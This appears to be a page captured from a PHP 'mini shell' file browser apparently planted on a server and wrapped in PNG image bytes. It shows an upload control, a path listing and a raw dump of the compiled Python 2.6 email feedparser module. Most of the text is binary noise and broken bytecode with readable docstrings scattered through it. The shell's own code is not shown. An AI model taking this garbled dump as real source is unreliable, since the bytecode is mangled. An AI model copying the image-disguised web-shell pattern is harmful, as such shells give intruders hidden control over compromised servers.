php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/email/
upload
files >> //usr/lib/python2.6/email/feedparser.pyc

Lc@sdZdgZddkZddklZddklZeidZeidZeidZ	eidZ
eid	Zd
ZdZ
eZdefd
YZdddYZdS(sFeedParser - An email feed parser.

The feed parser implements an interface for incrementally parsing an email
message, line by line.  This has advantages for certain applications, such as
those reading email messages off a socket.

FeedParser.feed() is the primary interface for pushing new data into the
parser.  It returns when there's nothing more it can do with the available
data.  When you have no more data to push into the parser, call .close().
This completes the parsing and returns the root message object.

The other advantage of this parser is that it will never throw a parsing
exception.  Instead, when it finds something unexpected, it adds a 'defect' to
the current message.  Defects are just instances that live on the message
object's .defects attribute.
t
FeedParseriN(terrors(tmessages
|
|
s(
|
|
)s
(
|
|
)\Zs(^(From |[\041-\071\073-\176]{1,}:|[\t ])ts
tBufferedSubFilecBsqeZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
RS(skA file-ish object that can have new data loaded into it.

    You can also push and pop line-matching predicates onto a stack.  When the
    current predicate matches the current line, a false EOF response
    (i.e. empty string) is returned instead.  This lets the parser adhere to a
    simple abstraction -- it parses until EOF closes the current message.
    cCs(d|_g|_g|_t|_dS(NR(t_partialt_linest	_eofstacktFalset_closed(tself((s&/usr/lib/python2.6/email/feedparser.pyt__init__3s			cCs|ii|dS(N(Rtappend(R
tpred((s&/usr/lib/python2.6/email/feedparser.pytpush_eof_matcher=scCs
|iiS(N(Rtpop(R
((s&/usr/lib/python2.6/email/feedparser.pytpop_eof_matcher@scCs)|ii|id|_t|_dS(NR(RRRtTrueR	(R
((s&/usr/lib/python2.6/email/feedparser.pytcloseCs	cCst|ip|iodStS|ii}x@|idddD](}||o|ii|dSqDW|S(NRi(RR	tNeedMoreDataRRR(R
tlinetateof((s&/usr/lib/python2.6/email/feedparser.pytreadlineIs


	cCs(|tj	pt|ii|dS(N(RtAssertionErrorRR(R
R((s&/usr/lib/python2.6/email/feedparser.pyt
unreadline[scCs|i|d}|_ti|}|i|_|io;|o4|dido |id|i|_ng}xCtt|dD]+}|i||d||ddqW|i|dS(s$Push some new data into this object.Ris
iiiN(	RtNLCRE_cracktsplitRtendswithtrangetlenRt	pushlines(R
tdatatpartstlinesti((s&/usr/lib/python2.6/email/feedparser.pytpush`s& )cCs|ddd|id*dS(Nii(R(R
R!((s&/usr/lib/python2.6/email/feedparser.pyRwscCs|iS(N(R	(R
((s&/usr/lib/python2.6/email/feedparser.pyt	is_closed{scCs|S(N((R
((s&/usr/lib/python2.6/email/feedparser.pyt__iter__~scCs'|i}|djo
tn|S(NR(Rt
StopIteration(R
R((s&/usr/lib/python2.6/email/feedparser.pytnexts

(t__name__t
__module__t__doc__RRRRRRR#RR$R%R'(((s&/usr/lib/python2.6/email/feedparser.pyR+s	
									cBseeZdZeidZdZdZdZdZ	dZ
dZdZd	Z
RS(
sA feed-style parser of email.cCsO||_t|_g|_|ii|_d|_d|_	t
|_dS(s@_factory is called with no arguments to create a new message objN(t_factoryRt_inputt	_msgstackt	_parsegenR't_parsetNonet_curt_lastRt_headersonly(R
R+((s&/usr/lib/python2.6/email/feedparser.pyRs				cCs
t|_dS(N(RR3(R
((s&/usr/lib/python2.6/email/feedparser.pyt_set_headersonlyscCs|ii||idS(sPush more data into the parser.N(R,R#t_call_parse(R
R((s&/usr/lib/python2.6/email/feedparser.pytfeedscCs(y|iWntj
onXdS(N(R/R&(R
((s&/usr/lib/python2.6/email/feedparser.pyR5scCst|ii|i|i}|ipt|idjo(|io|ii	t
in|S(s<Parse all remaining data and return the root message object.t	multipart(R,RR5t_pop_messageR-Rtget_content_maintypetis_multiparttdefectsRRt!MultipartInvariantViolationDefect(R
troot((s&/usr/lib/python2.6/email/feedparser.pyRs

cCs|i}|io'|iidjo|idn|io|idi|n|ii|||_||_dS(Nsmultipart/digestsmessage/rfc822i(R+R1tget_content_typetset_default_typeR-tattachRR2(R
tmsg((s&/usr/lib/python2.6/email/feedparser.pyt_new_messages 
	cCs:|ii}|io|id|_n
d|_|S(Ni(R-RR1R0(R
tretval((s&/usr/lib/python2.6/email/feedparser.pyR8s

	ccs|ig}xp|iD]e}|tjotVqnti|p)ti|p|ii|nPn|i|qW|i||i	ozg}xSt
oK|ii}|tjotVqn|djoPn|i|qW|ii
ti|dS|iidjoxt
o|iitix.|iD] }|tjotVqTnPqTW|i}|iix5t
o-|ii}|tjotVqnPqWx5t
o-|ii}|tjotVqnPqW|djoPn|ii|q-WdS|iidjo@x.|iD] }|tjotVqPnPqPW|idS|iidjo|ii}|djow|iiitig}x7|iD],}|tjotVqn|i|qW|ii
ti|dSd|}tidti|d}t
}	g}
t}xt
o|ii}|tjotVqkn|djoPn|i|}|or|ido|id	}Pn|	o|
o[|
d
}
t i!|
}|o"|
t"|id |
d
<nti|
|i_#nt}	|ii|qknx_t
oW|ii}|tjotVqon|i|}|p|ii|PqoqoW|ii|ix.|iD] }|tjotVqnPqW|i$idjo~|i$i%}|djod|i$_%q
|dj	oDt i!|}|o*t"|id}|| |i$_%qq
nh|i$i&}t'|t(oHt i!|}|o.|t"|id }|i$i
|q
n|ii|i|i|_$qk|	pt)|
i|qkW|	o|iiiti*|ii
ti|
g}x*|iD]}|tjotVqqqWti||i_%dS|o
dg}ng}x7|iD],}|tjotVqn|i|qW|oE|d}t+i|}|o!|t"|id|d<qznti||i_%dSg}x7|iD],}|tjotVqn|i|qW|ii
ti|dS(NRsmessage/delivery-statusRR7s--s(?P<sep>s4)(?P<end>--)?(?P<ws>[ \t]*)(?P<linesep>\r\n|\r|\n)?$tendtlinesepii(,RBR,RtheaderREtmatchtNLCRERRt_parse_headersR3RRR1tset_payloadtEMPTYSTRINGtjoinR>RR.R8RR9tget_boundaryR0R;RtNoBoundaryInMultipartDefecttretcompiletescapeRtgroupt	NLCRE_eoltsearchRtpreambleR2tepiloguetget_payloadt
isinstancet
basestringRtStartBoundaryNotFoundDefectt	NLCRE_bol(R
theadersRR!RCRAtboundaryt	separatort
boundaryretcapturing_preambleRUREtmotlastlineteolmoRVRDtpayloadt	firstlinetbolmo((s&/usr/lib/python2.6/email/feedparser.pyR.sh























"













%

c
Csd}g}xt|D]\}}|ddjoD|p)ti|}|iii|qn|i|qn|o:ti|d id}||i|<dg}}n|i	do|djoKt
i|}|o|t|i
d }n|ii|qqx|t|djo|ii|dSti|}|iii|qn|id}	|	djo)ti|}|iii|qn||	 }||	dig}qW|o#ti|id|i|<ndS(	NRis 	is
sFrom it:(t	enumerateRt#FirstHeaderLineIsContinuationDefectR1R;RRKRLtrstript
startswithRSRTRRRtset_unixfromR,RtMisplacedEnvelopeHeaderDefecttfindtMalformedHeaderDefecttlstrip(
R
R!t
lastheadert	lastvaluetlinenoRtdefecttlhdrRaR"((s&/usr/lib/python2.6/email/feedparser.pyRIsJ





(R(R)R*RtMessageRR4R6R5RRBR8R.RI(((s&/usr/lib/python2.6/email/feedparser.pyRs					
		((R*t__all__ROtemailRRRPRHR[RSRRFRKtNLtobjectRRR(((s&/usr/lib/python2.6/email/feedparser.pyt<module>s		^
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`